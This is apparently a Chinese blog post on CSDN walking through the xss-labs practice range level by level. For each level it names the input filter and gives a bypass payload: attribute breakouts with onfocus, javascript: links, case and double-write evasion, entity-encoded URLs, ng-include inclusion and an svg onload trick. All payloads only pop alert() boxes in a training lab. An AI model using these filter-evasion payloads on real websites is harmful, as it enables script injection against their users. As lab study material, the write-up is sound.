xsslabs通关

  1. 第一关   弹窗事件的触发
    1. 使用 GET 传递参数  没有任何过滤和限制

      1. url?name=<script>alert()</script>
  1. 第二关    闭合绕过
    1. 对传入的 值 进行了 HTML的实体转换   但是 没有 对 第二传入的值进行实体化 所以 将第二个标签 闭合后 写入弹窗代码 (文本框些如就可以)
    2. ">  <script>alert()</script>  <"
      1. htmlspecialchars函数只针对<>大于小于号进行html实体化
  2. 第三关  HTML实体化   通过不使用 <> 号 绕过HTMl实体化
    1. 使用不需要 <> 大于 小于 号的 事件标签来触发弹窗
    2. ' onfocus=javascript:alert() '
      
  1. 第四关   去除 <> 大于 小于 号   通过闭合标签构造不需要使用 <> 号的标签
    1. " onfocus=javascript:alert() " 
  1. 第五关  去除 大小写绕过 和 特殊标签
    1. 将 字母转换为 小写   将特殊标签 进行替换
    2. "> <a href=javascript:alert()>xxx</a> <"
  1. 第六关    特殊标签的 过滤   通过大小写绕过
    1. "> <sCript>alert()</sCript> <"  
  1. 第七关  过滤特殊的标签和小写转换  通过双写绕过
    1. "> <a hrehreff=javasscriptcript:alert()>x</a> <"

  2. 第八关 过滤特殊标签和转化小写 和HTML 的实体化通过  href的隐藏属性自动Unicode解码
    1. javascript:alert()   编码
      1. &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;
        
  1. 第九关 转换小写 过滤关键词 对 参数进行特殊关键词的检测 通过 注释特殊关键词绕过
    1. &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */  
  1. 第十关 隐藏参数传值 和过滤 <> 号  通过找到隐藏参数传值
    1. ?t_sort=" onfocus=javascript:alert() type="text
      1. 需要添加type="text",构造payload
  2. 第十一关 过滤<> 号 使用 HTTP头传值  通过brupsuite或者hackbar修改头部传值的参数

                2.

                 3.

  1. 第十二关 与 第十三关 同 十一关一样
    1. 十二关修改 user_agent
    2. 十三关修改cookie
  1. 第十五关

                2. 

  1. ?src='/level1.php?name=<img src=1 onmouseover=alert()>'包含第一关后 使用标签弹窗
    
    1. ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
  1. 第十六关 小写转换和关键词和/转换空格 最后将空格实体化 通过 回车来代替空格实现绕过
    1. ?keyword=<svg%0Aonload=alert(1)>
  1. 第十七关到二十关 使用 flash插件来实现

​​​​​​xss-labs靶场实战全通关详细过程(xss靶场详解)_金 帛的博客-CSDN博客

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值